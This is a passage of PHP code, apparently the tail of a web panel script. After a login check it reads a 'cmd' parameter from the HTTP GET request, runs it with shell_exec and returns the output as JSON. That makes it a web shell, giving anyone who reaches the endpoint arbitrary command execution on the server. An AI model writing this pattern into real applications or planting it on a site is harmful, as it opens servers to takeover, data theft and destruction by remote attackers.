Please log in from the main page first!"); exit; } if (isset($_GET["cmd"])) { // HTTP GET requests $cmd = $_GET["cmd"]; $ret = ""; if ("ostype" == $cmd) { $ret = strtolower(PHP_OS); } else { $ret = shell_exec($cmd); } echo json_encode(array("rsp"=>$ret)); } ?>